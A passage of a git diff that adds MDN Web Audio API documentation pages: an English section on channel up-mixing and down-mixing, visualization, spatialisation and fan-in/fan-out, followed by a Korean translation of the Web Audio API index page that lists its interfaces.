+   <td><em>Up-mix from mono to quad.</em><br>
+    The <code>M</code> input channel is used for non-surround output channels (<code>L</code> and <code>R</code>). Surround output channels (<code>SL</code> and <code>SR</code>) are silent.<br>
+    <code>output.L = input.M<br>
+    output.R = input.M<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><em>Up-mix from mono to 5.1.</em><br>
+    The <code>M</code> input channel is used for the center output channel (<code>C</code>). All the others (<code>L</code>, <code>R</code>, <code>LFE</code>, <code>SL</code>, and <code>SR</code>) are silent.<br>
+    <code>output.L = 0<br>
+    output.R = 0</code><br>
+    <code>output.C = input.M<br>
+    output.LFE = 0<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>2</code> <em>(Stereo)</em></td>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><em>Down-mix from stereo to mono</em>.<br>
+    Both input channels (<code>L</code> and <code>R</code>) are equally combined to produce the unique output channel (<code>M</code>).<br>
+    <code>output.M = 0.5 * (input.L + input.R)</code></td>
+  </tr>
+  <tr>
+   <td><code>2</code> <em>(Stereo)</em></td>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><em>Up-mix from stereo to quad.</em><br>
+    The <code>L</code> and <code>R </code>input channels are used for their non-surround respective output channels (<code>L</code> and <code>R</code>). Surround output channels (<code>SL</code> and <code>SR</code>) are silent.<br>
+    <code>output.L = input.L<br>
+    output.R = input.R<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>2</code> <em>(Stereo)</em></td>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><em>Up-mix from stereo to 5.1.</em><br>
+    The <code>L</code> and <code>R </code>input channels are used for their non-surround respective output channels (<code>L</code> and <code>R</code>). Surround output channels (<code>SL</code> and <code>SR</code>), as well as the center (<code>C</code>) and subwoofer (<code>LFE</code>) channels, are left silent.<br>
+    <code>output.L = input.L<br>
+    output.R = input.R<br>
+    output.C = 0<br>
+    output.LFE = 0<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><em>Down-mix from quad to mono</em>.<br>
+    All four input channels (<code>L</code>, <code>R</code>, <code>SL</code>, and <code>SR</code>) are equally combined to produce the unique output channel (<code>M</code>).<br>
+    <code>output.M = 0.25 * (input.L + input.R + </code><code>input.SL + input.SR</code><code>)</code></td>
+  </tr>
+  <tr>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><code>2</code> <em>(Stereo)</em></td>
+   <td><em>Down-mix from quad to stereo</em>.<br>
+    Both left input channels (<code>L</code> and <code>SL</code>) are equally combined to produce the unique left output channel (<code>L</code>). And similarly, both right input channels (<code>R</code> and <code>SR</code>) are equally combined to produce the unique right output channel (<code>R</code>).<br>
+    <code>output.L = 0.5 * (input.L + input.SL</code><code>)</code><br>
+    <code>output.R = 0.5 * (input.R + input.SR</code><code>)</code></td>
+  </tr>
+  <tr>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><em>Up-mix from quad to 5.1.</em><br>
+    The <code>L</code>, <code>R</code>, <code>SL</code>, and <code>SR</code> input channels are used for their respective output channels (<code>L</code> and <code>R</code>). Center (<code>C</code>) and subwoofer (<code>LFE</code>) channels are left silent.<br>
+    <code>output.L = input.L<br>
+    output.R = input.R<br>
+    output.C = 0<br>
+    output.LFE = 0<br>
+    output.SL = input.SL<br>
+    output.SR = input.SR</code></td>
+  </tr>
+  <tr>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><em>Down-mix from 5.1 to mono.</em><br>
+    The left (<code>L</code> and <code>SL</code>), right (<code>R</code> and <code>SR</code>) and central channels are all mixed together. The surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by multiplying by <code>√2/2</code>. The subwoofer (<code>LFE</code>) channel is lost.<br>
+    <code>output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)</code></td>
+  </tr>
+  <tr>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><code>2</code> <em>(Stereo)</em></td>
+   <td><em>Down-mix from 5.1 to stereo.</em><br>
+    The central channel (<code>C</code>) is summed with each lateral surround channel (<code>SL</code> or <code>SR</code>) and mixed to each lateral channel. As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by <code>√2/2</code>. The subwoofer (<code>LFE</code>) channel is lost.<br>
+    <code>output.L = input.L + 0.7071 * (input.C + input.SL)<br>
+    output.R = input.R </code><code>+ 0.7071 * (input.C + input.SR)</code></td>
+  </tr>
+  <tr>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><em>Down-mix from 5.1 to quad.</em><br>
+    The central (<code>C</code>) is mixed with the lateral non-surround channels (<code>L</code> and <code>R</code>). As it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by <code>√2/2</code>. The surround channels are passed unchanged. The subwoofer (<code>LFE</code>) channel is lost.<br>
+    <code>output.L = input.L + 0.7071 * input.C<br>
+    output.R = input.R + 0.7071 * input.C<br>
+    <code>output.SL = input.SL<br>
+    output.SR = input.SR</code></code></td>
+  </tr>
+  <tr>
+   <td colspan="2" rowspan="1">Other, non-standard layouts</td>
+   <td>Non-standard channel layouts are handled as if <code>channelInterpretation</code> is set to <code>discrete</code>.<br>
+    The specification explicitly allows the future definition of new speaker layouts. This fallback is therefore not future proof as the behavior of the browsers for a specific number of channels may change in the future.</td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="2" scope="row"><code>discrete</code></th>
+   <td rowspan="1">any (<code>x</code>)</td>
+   <td rowspan="1">any (<code>y</code>) where <code>x&lt;y</code></td>
+   <td><em>Up-mix discrete channels.</em><br>
+    Fill each output channel with its input counterpart, that is the input channel with the same index. Channels with no corresponding input channels are left silent.</td>
+  </tr>
+  <tr>
+   <td rowspan="1">any (<code>x</code>)</td>
+   <td rowspan="1">any (<code>y</code>) where <code>x&gt;y</code></td>
+   <td><em>Down-mix discrete channels.</em><br>
+    Fill each output channel with its input counterpart, that is the input channel with the same index. Input channels with no corresponding output channels are dropped.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visualizations">Visualizations</h2>
+
+<p>In general, audio visualizations are achieved by accessing an ouput of audio data over time, usually gain or frequency data, and then using a graphical technology to turn that into a visual output, such as a graph. The Web Audio API has an {{domxref("AnalyserNode")}} available that doesn't alter the audio signal passing through it. Instead it outputs audio data that can be passed to a visualization technology such as {{htmlelement("canvas")}}.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/12521/fttaudiodata_en.svg" style="height: 206px; width: 693px;"></p>
+
+<p>You can grab data using the following methods:</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: For more information, see our <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> article.</p>
+</div>
+
+<h2 id="Spatialisations">Spatialisations</h2>
+
+<div>
+<p>An audio spatialisation (handled by the {{domxref("PannerNode")}} and {{domxref("AudioListener")}} nodes in the Web Audio API) allows us to model the position and behavior of an audio signal at a certain point in space, and the listener hearing that audio.</p>
+
+<p>The panner's position is described with right-hand Cartesian coordinates; its movement using a velocity vector, necessary for creating Doppler effects, and its directionality using a directionality cone.The cone can be very large, e.g. for omnidirectional sources.</p>
+</div>
+
+<p><img alt="The PannerNode brings a spatial position and velocity and a directionality for a given signal." src="https://mdn.mozillademos.org/files/12511/pannernode_en.svg" style="height: 340px; width: 799px;"></p>
+
+<div>
+<p>The listener's position is described using right-hand Cartesian coordinates; its movement using a velocity vector and the direction the listener's head is pointing using two direction vectors: up and front. These respectively define the direction of the top of the listener's head, and the direction the listener's nose is pointing, and are at right angles to one another.</p>
+</div>
+
+<p><img alt="The PannerNode brings a spatial position and velocity and a directionality for a given signal." src="https://mdn.mozillademos.org/files/12513/listener.svg" style="height: 249px; width: 720px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: For more information, see our <a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a> article.</p>
+</div>
+
+<h2 id="Fan-in_and_Fan-out">Fan-in and Fan-out</h2>
+
+<p>In audio terms, <strong>fan-in</strong> describes the process by which a {{domxref("ChannelMergerNode")}} takes a series of mono input sources and outputs a single multi-channel signal:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12517/fanin.svg" style="height: 258px; width: 325px;"></p>
+
+<p><strong>Fan-out</strong> describes the opposite process, whereby a {{domxref("ChannelSplitterNode")}} takes a multi-channel input source and outputs multiple mono output signals:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12515/fanout.svg" style="height: 258px; width: 325px;"></p>
diff --git a/files/ko/web/api/web_audio_api/index.html b/files/ko/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..714ccdb2af
--- /dev/null
+++ b/files/ko/web/api/web_audio_api/index.html
@@ -0,0 +1,523 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+translation_of: Web/API/Web_Audio_API
+---
+<div>
+<p>Web Audio API는 웹에서 오디오를 제어하기 위한 강력하고 다양한 기능을 제공합니다. Web Audio API를 이용하면 오디오 소스를 선택할 수 있도록 하거나, 오디오에 이펙트를 추가하거나, 오디오를 시각화하거나, 패닝과 같은 공간 이펙트를 적용시키는 등의 작업이 가능합니다.</p>
+</div>
+
+<h2 id="Web_audio의_개념과_사용법">Web audio의 개념과 사용법</h2>
+
+<p>Web Audio API는 <strong>오디오 컨텍스트</strong> 내부의 오디오 조작을 핸들링하는 것을 포함하며, <strong>모듈러 라우팅</strong>을 허용하도록 설계되어 있습니다. 기본적인 오디오 연산은 <strong>오디오 노드</strong>를 통해 수행되며, <strong>오디오 노드</strong>는 서로 연결되어 <strong>오디오 라우팅 그래프</strong>를 형성합니다. 서로 다른 타입의 채널 레이아웃을 포함한 다수의 오디오 소스는 단일 컨텍스트 내에서도 지원됩니다. 이 모듈식 설계는 역동적이고 복합적인 오디오 기능 생성을 위한 유연성을 제공합니다.</p>
+
+<p>오디오 노드는 각각의 입력과 출력을 통해 체인과 간단한 망으로 연결됩니다. 이들은 일반적으로 하나 이상의 소스로 시작합니다. 소스들은 초당 수만 개 가량의 아주 작은 시간 단위의 음향 인텐시티(샘플) 배열로 제공됩니다. 소스는 {{domxref("OscillatorNode")}}와 같이 수학적으로 계산된 것이거나, {{domxref("AudioBufferSourceNode")}} 또는 {{domxref("MediaElementAudioSourceNode")}}와 같은 사운드/비디오 파일, 마지막으로 {{domxref("MediaStreamAudioSourceNode")}}와 같은 오디오 스트림일 수 있습니다. 사실, 사운드 파일은 마이크나 전자기기로 생성된 음향 인텐시티가 녹음된 것에 불과하며, 하나의 복합적인 파동으로 믹싱됩니다.</p>
+
+<p>오디오 노드의 출력은 다른 노드의 입력 단자와 연결될 수 있습니다. 이 입력은 노드의 사운드 샘플 스트림을 다른 스트림으로 믹스하거나 변경합니다. 일반적인 변경은 {{domxref("GainNode")}}와 같이 샘플에 소리를 더 키우거나 줄이는 값을 곱하는 것입니다. 사운드가 의도된 이펙트를 위해 충분히 처리되면, 이를 {{domxref("AudioContext.destination")}}의 입력에 연결해 사운드를 스피커와 헤드폰으로 출력합니다. 이 연결은 사용자가 오디오를 듣도록 하기 위한 용도로만 필요합니다.</p>
+
+<p>웹 오디오의 간단하고 일반적인 작업 흐름은 다음과 같습니다 :</p>
+
+<ol>
+ <li>오디오 컨텍스트를 생성합니다.</li>
+ <li>컨텍스트 내에 소스를 생성합니다.(ex - &lt;audio&gt;, 발진기, 스트림)</li>
+ <li>이펙트 노드를 생성합니다. (ex - 잔향 효과,  바이쿼드 필터, 패너, 컴프레서 등)</li>
+ <li>오디오의 최종 목적지를 선택합니다. (ex - 시스템 스피커)</li>
+ <li>사운드를 이펙트에 연결하고, 이펙트를 목적지에 연결합니다.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12241/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>높은 정확도와 적은 지연시간을 가진 타이밍 계산 덕분에, 개발자는 높은 샘플 레이트에서도 특정 샘플을 대상으로 이벤트에 정확하게 응답하는 코드를 작성할 수 있습니다. 따라서 드럼 머신이나 시퀀서 등의 어플리케이션은 충분히 구현 가능합니다.</p>
+
+<p>Web Audio API는 오디오가 어떻게 <em>공간화</em>될지 컨트롤할 수 있도록 합니다. <em>소스-리스너 모델</em>을 기반으로 하는 시스템을 사용하면 <em>패닝 모델</em>과 <em>거리-유도 감쇄</em> 혹은 움직이는 소스(혹은 움직이는 청자)를 통해 유발된 <em>도플러 시프트</em> 컨트롤이 가능합니다.</p>
+
+<div class="note">
+<p><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a> 아티클에서 Web Audio API 이론에 대한 더 자세한 내용을 읽을 수 있습니다.</p>
+</div>
+
+<h2 id="Web_Audio_API_타겟_사용자층">Web Audio API 타겟 사용자층</h2>
+
+<p>오디오나 음악 용어에 익숙하지 않은 사람은 Web Audio API가 막막하게 느껴질 수 있습니다. 또한 Web Audio API가 굉장히 다양한 기능을 제공하는 만큼 개발자로서는 시작하기 어렵게 느껴질 수 있습니다.</p>
+
+<p>Web Audio API는 <a href="https://www.futurelibrary.no/">futurelibrary.no</a>에서와 같이 배경 음악을 깔거나, <a href="https://css-tricks.com/form-validation-web-audio/">작성된 폼에 대한 피드백을 제공</a>하는 등, 웹사이트에 간단한 오디오 기능을 제공하는 데에 사용될 수 있습니다. 그리고 물론 상호작용 가능한 상급자용 악기 기능을 만드는 데에도 사용할 수 있습니다. 따라서 Web Audio API는 개발자와 뮤지션 모두가 사용 가능합니다.</p>
+
+<p>프로그래밍에는 익숙하지만 각종 용어나 API의 구조에 대해 공부하고 싶으신 분들을 위한 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">간단한 튜토리얼</a>이 준비되어 있습니다.</p>
+
+<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Web Audio API의 원리</a>에는 API 내에서 디지털 오디오가 어떻게 동작하는지 나와 있습니다. 해당 문서에는 API가 어떤 원리를 이용해 작성되었는지에 대한 설명도 잘 되어 있습니다.</p>
+
+<p>코드를 작성하는 것은 카드 게임과 비슷합니다. 규칙을 배우고, 플레이합니다. 모르겠는 규칙은 다시 공부하고, 다시 새로운 판을 합니다. 마찬가지로, 이 문서와 첫 튜토리얼에서 설명하는 것만으로 부족하다고 느끼신다면 첫 튜토리얼의 내용을 보충하는 동시에 여러 테크닉을 이용하여 스텝 시퀀서를 만드는 법을 설명하는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Advanced_techniques">상급자용 튜토리얼</a>을 읽어보시는 것을 추천합니다.</p>
+
+<p>그 외에도 이 페이지의 사이드바에서 API의 모든 기능을 설명하는 참고자료와 다양한 튜토리얼을 찾아 보실 수 있습니다.</p>
+
+<p>만약에 프로그래밍보다는 음악이 친숙하고, 음악 이론에 익숙하며, 악기를 만들고 싶으시다면 바로 상급자용 튜토리얼부터 시작하여 여러가지를 만들기 시작하시면 됩니다. 위의 튜토리얼은 음표를 배치하는 법, 저주파 발진기 등 맞춤형 Oscillator(발진기)와 Envelope를 설계하는 법 등을 설명하고 있으니, 이를 읽으며 사이드바의 자료를 참고하시면 될 것입니다.</p>
+
+<p>프로그래밍에 전혀 익숙하지 않으시다면 자바스크립트 기초 튜토리얼을 먼저 읽고 이 문서를 다시 읽으시는 게 나을 수도 있습니다. 모질라의 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript">자바스크립트 기초</a>만큼 좋은 자료도 몇 없죠.</p>
+
+<h2 id="Web_Audio_API_Interfaces">Web Audio API Interfaces</h2>
+
+<p>Web Audio API는 다양한 인터페이스와 연관 이벤트를 가지고 있으며, 이는 9가지의 기능적 범주로 나뉩니다.</p>
+
+<h3 id="일반_오디오_그래프_정의">일반 오디오 그래프 정의</h3>
+
+<p>Web Audio API 사용범위 내에서 오디오 그래프를 형성하는 일반적인 컨테이너와 정의입니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd><strong><code>AudioContext</code></strong> 인터페이스는 오디오 모듈이 서로 연결되어 구성된 오디오 프로세싱 그래프를 표현하며, 각각의 그래프는 {{domxref("AudioNode")}}로 표현됩니다. <code>AudioContext</code>는 자신이 가지고 있는 노드의 생성과 오디오 프로세싱 혹은 디코딩의 실행을 제어합니다. 어떤 작업이든 시작하기 전에 <code>AudioContext</code>를 생성해야 합니다. 모든 작업은 컨텍스트 내에서 이루어집니다.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd><strong><code>AudioNode</code></strong><strong> </strong>인터페이스는 오디오 소스({{HTMLElement("audio")}}나 {{HTMLElement("video")}}엘리먼트), 오디오 목적지, 중간 처리 모듈({{domxref("BiquadFilterNode")}}이나 {{domxref("GainNode")}})과 같은 오디오 처리 모듈을 나타냅니다.</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd><strong><code>AudioParam</code></strong> 인터페이스는 {{domxref("AudioNode")}}중 하나와 같은 오디오 관련 파라미터를 나타냅니다. 이는 특정 값 또는 값 변경으로 세팅되거나, 특정 시간에 발생하고 특정 패턴을 따르도록 스케쥴링할 수 있습니다.</dd>
+ <dt>The {{event("ended")}} event</dt>
+ <dd>
+ <p><strong><code>ended</code></strong> 이벤트는 미디어의 끝에 도달하여 재생이 정지되면 호출됩니다.</p>
+ </dd>
+</dl>
+
+<h3 id="오디오_소스_정의하기">오디오 소스 정의하기</h3>
+
+<p>Web Audio API에서 사용하기 위한 오디오 소스를 정의하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
+ <dd><strong><code style="font-size: 14px;">OscillatorNode</code></strong> 인터페이스는 삼각파 또는 사인파와 같은 주기적 파형을 나타냅니다. 이것은 주어진 주파수의 파동을 생성하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd><strong><code>AudioBuffer</code></strong> 인터페이스는 {{ domxref("AudioContext.decodeAudioData()") }}메소드를 사용해 오디오 파일에서 생성되거나 {{ domxref("AudioContext.createBuffer()") }}를 사용해 로우 데이터로부터 생성된 메모리상에 적재되는 짧은 오디오 자원을 나타냅니다. 이 형식으로 디코딩된 오디오는 {{ domxref("AudioBufferSourceNode") }}에 삽입될 수 있습니다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd><strong><code>AudioBufferSourceNode</code></strong> 인터페이스는 {{domxref("AudioBuffer")}}에 저장된 메모리상의 오디오 데이터로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd><code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> 인터페이스는 {{ htmlelement("audio") }} 나 {{ htmlelement("video") }} HTML 엘리먼트로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd><code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> 인터페이스는 <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}}(웹캡, 마이크 혹은 원격 컴퓨터에서 전송된 스트림)으로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+</dl>
+
+<h3 id="오디오_이펙트_필터_정의하기">오디오 이펙트 필터 정의하기</h3>
+
+<p>오디오 소스에 적용할 이펙트를 정의하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd><strong><code>BiquadFilterNode</code></strong> 인터페이스는 간단한 하위 필터를 나타냅니다. 이것은 여러 종류의 필터나 톤 제어 장치 혹은 그래픽 이퀄라이저를 나타낼 수 있는 {{domxref("AudioNode")}}입니다. <code>BiquadFilterNode</code>는 항상 단 하나의 입력과 출력만을 가집니다. </dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd><code><strong>Convolver</strong></code><strong><code>Node</code></strong><span style="line-height: 1.5;"> 인터페이스는 주어진 {{domxref("AudioBuffer")}}에 선형 콘볼루션을 수행하는 {{domxref("AudioNode")}}이며, 리버브 이펙트를 얻기 위해 자주 사용됩니다. </span></dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd><strong><code>DelayNode</code></strong> 인터페이스는 지연선을 나타냅니다. 지연선은 입력 데이터가 출력에 전달되기까지의 사이에 딜레이를 발생시키는 {{domxref("AudioNode")}} 오디오 처리 모듈입니다.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd><strong><code>DynamicsCompressorNode</code></strong> 인터페이스는 압축 이펙트를 제공합니다, 이는 신호의 가장 큰 부분의 볼륨을 낮추어 여러 사운드를 동시에 재생할 때 발생할 수 있는 클리핑 및 왜곡을 방지합니다.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd><strong><code>GainNode</code></strong> 인터페이스는 음량의 변경을 나타냅니다. 이는 출력에 전달되기 전의 입력 데이터에 주어진 음량 조정을 적용하기 위한 {{domxref("AudioNode")}} 오디오 모듈입니다.</dd>
+ <dt>{{domxref("StereoPannerNode")}}</dt>
+ <dd><code><strong>StereoPannerNode</strong></code> 인터페이스는 오디오 스트림을 좌우로 편향시키는데 사용될 수 있는 간단한 스테레오 패너 노드를 나타냅니다.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd><strong><code>WaveShaperNode</code></strong> 인터페이스는 비선형 왜곡을 나타냅니다. 이는 곡선을 사용하여 신호의 파형 형성에 왜곡을 적용하는 {{domxref("AudioNode")}}입니다. 분명한 왜곡 이펙트 외에도 신호에 따뜻한 느낌을 더하는데 자주 사용됩니다.</dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>{{domxref("OscillatorNode")}}의 출력을 형성하는데 사용될 수 있는 주기적 파형을 설명합니다.</dd>
+</dl>
+
+<h3 id="오디오_목적지_정의하기">오디오 목적지 정의하기</h3>
+
+<p>처리된 오디오를 어디에 출력할지 정의하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd><strong><code>AudioDestinationNode</code></strong> 인터페이스는 주어진 컨텍스트 내의 오디오 소스의 최종 목적지를 나타냅니다. 주로 기기의 스피커로 출력할 때 사용됩니다.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd><code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> 인터페이스는 단일 <code>AudioMediaStreamTrack</code> 을 가진 <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}}로 구성된 오디오 목적지를 나타내며, 이는 {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}에서 얻은 {{domxref("MediaStream")}}과 비슷한 방식으로 사용할 수 있습니다. 이것은 오디오 목적지 역할을 하는 {{domxref("AudioNode")}}입니다.</dd>
+</dl>
+
+<h3 id="데이터_분석_및_시각화">데이터 분석 및 시각화</h3>
+
+<p>오디오에서 재생시간이나 주파수 등의 데이터를 추출하기 위한 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd><strong><code>AnalyserNode</code></strong> 인터페이스는 데이터를 분석하고 시각화하기 위한 실시간 주파수와 시간영역 분석 정보를 제공하는 노드를 나타냅니다.</dd>
+</dl>
+
+<h3 id="오디오_채널을_분리하고_병합하기">오디오 채널을 분리하고 병합하기</h3>
+
+<p>오디오 채널들을 분리하거나 병합하기 위한 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd><code><strong>ChannelSplitterNode</strong></code> 인터페이스는 오디오 소스의 여러 채널을 모노 출력 셋으로 분리합니다.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd><code><strong>ChannelMergerNode</strong></code> 인터페이스는 여러 모노 입력을 하나의 출력으로 재결합합니다. 각 입력은 출력의 채널을 채우는데 사용될 것입니다.</dd>
+</dl>
+
+<h3 id="오디오_공간화">오디오 공간화</h3>
+
+<p>오디오 소스에 오디오 공간화 패닝 이펙트를 추가하는 인터페이스입니다.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd><strong><code>AudioListener</code></strong> 인터페이스는 오디오 공간화에 사용되는 오디오 장면을 청취하는 고유한 시청자의 위치와 방향을 나타냅니다.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd><strong><code>PannerNode</code></strong> 인터페이스는 공간 내의 신호 양식을 나타냅니다. 이것은 자신의 오른손 직교 좌표 내의 포지션과, 속도 벡터를 이용한 움직임과, 방향성 원뿔을 이용한 방향을 서술하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.</dd>
+</dl>
+
+<h3 id="자바스크립트에서_오디오_처리하기">자바스크립트에서 오디오 처리하기</h3>
+
+<p>자바스크립트에서 오디오 데이터를 처리하기 위한 코드를 작성할 수 있습니다. 이렇게 하려면 아래에 나열된 인터페이스와 이벤트를 사용하세요.</p>
+
+<div class="note">
+<p>이것은 Web Audio API 2014년 8월 29일의 스펙입니다. 이 기능은 지원이 중단되고 {{ anch("Audio_Workers") }}로 대체될 예정입니다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}}</dt>
+ <dd><strong><code>ScriptProcessorNode</code></strong> 인터페이스는 자바스크립트를 이용한 오디오 생성, 처리, 분석 기능을 제공합니다. 이것은 현재 입력 버퍼와 출력 버퍼, 총 두 개의 버퍼에 연결되는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다. {{domxref("AudioProcessingEvent")}}인터페이스를 구현하는 이벤트는 입력 버퍼에 새로운 데이터가 들어올 때마다 객체로 전달되고, 출력 버퍼가 데이터로 채워지면 이벤트 핸들러가 종료됩니다.</dd>
+ <dt>{{event("audioprocess")}} (event)</dt>
+ <dd><strong><code>audioprocess</code></strong> 이벤트는 Web Audio API {{domxref("ScriptProcessorNode")}}의 입력 버퍼가 처리될 준비가 되었을 때 발생합니다.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}}</dt>
+ <dd><a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <strong><code>AudioProcessingEvent</code></strong> 는 {{domxref("ScriptProcessorNode")}} 입력 버퍼가 처리될 준비가 되었을 때 발생하는 이벤트를 나타냅니다.</dd>
+</dl>
+
+<h3 id="오프라인백그라운드_오디오_처리하기">오프라인/백그라운드 오디오 처리하기</h3>
+
+<p>다음을 이용해 백그라운드(장치의 스피커가 아닌 {{domxref("AudioBuffer")}}으로 렌더링)에서 오디오 그래프를 신속하게 처리/렌더링 할수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd><strong><code>OfflineAudioContext</code></strong> 인터페이스는 {{domxref("AudioNode")}}로 연결되어 구성된 오디오 프로세싱 그래프를 나타내는 {{domxref("AudioContext")}} 인터페이스입니다. 표준 <strong><code>AudioContext</code></strong> 와 대조적으로, <strong><code>OfflineAudioContext</code></strong> 는 실제로 오디오를 렌더링하지 않고 가능한 빨리 버퍼 내에서 생성합니다. </dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd><strong><code>complete</code></strong> 이벤트는 {{domxref("OfflineAudioContext")}}의 렌더링이 종료될때 발생합니다.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd><strong><code>OfflineAudioCompletionEvent</code></strong> 이벤트는 {{domxref("OfflineAudioContext")}} 의 처리가 종료될 때 발생하는 이벤트를 나타냅니다. {{event("complete")}} 이벤트는 이 이벤트를 구현합니다.</dd>
+</dl>
+
+<h3 id="Audio_Workers" name="Audio_Workers">오디오 워커</h3>
+
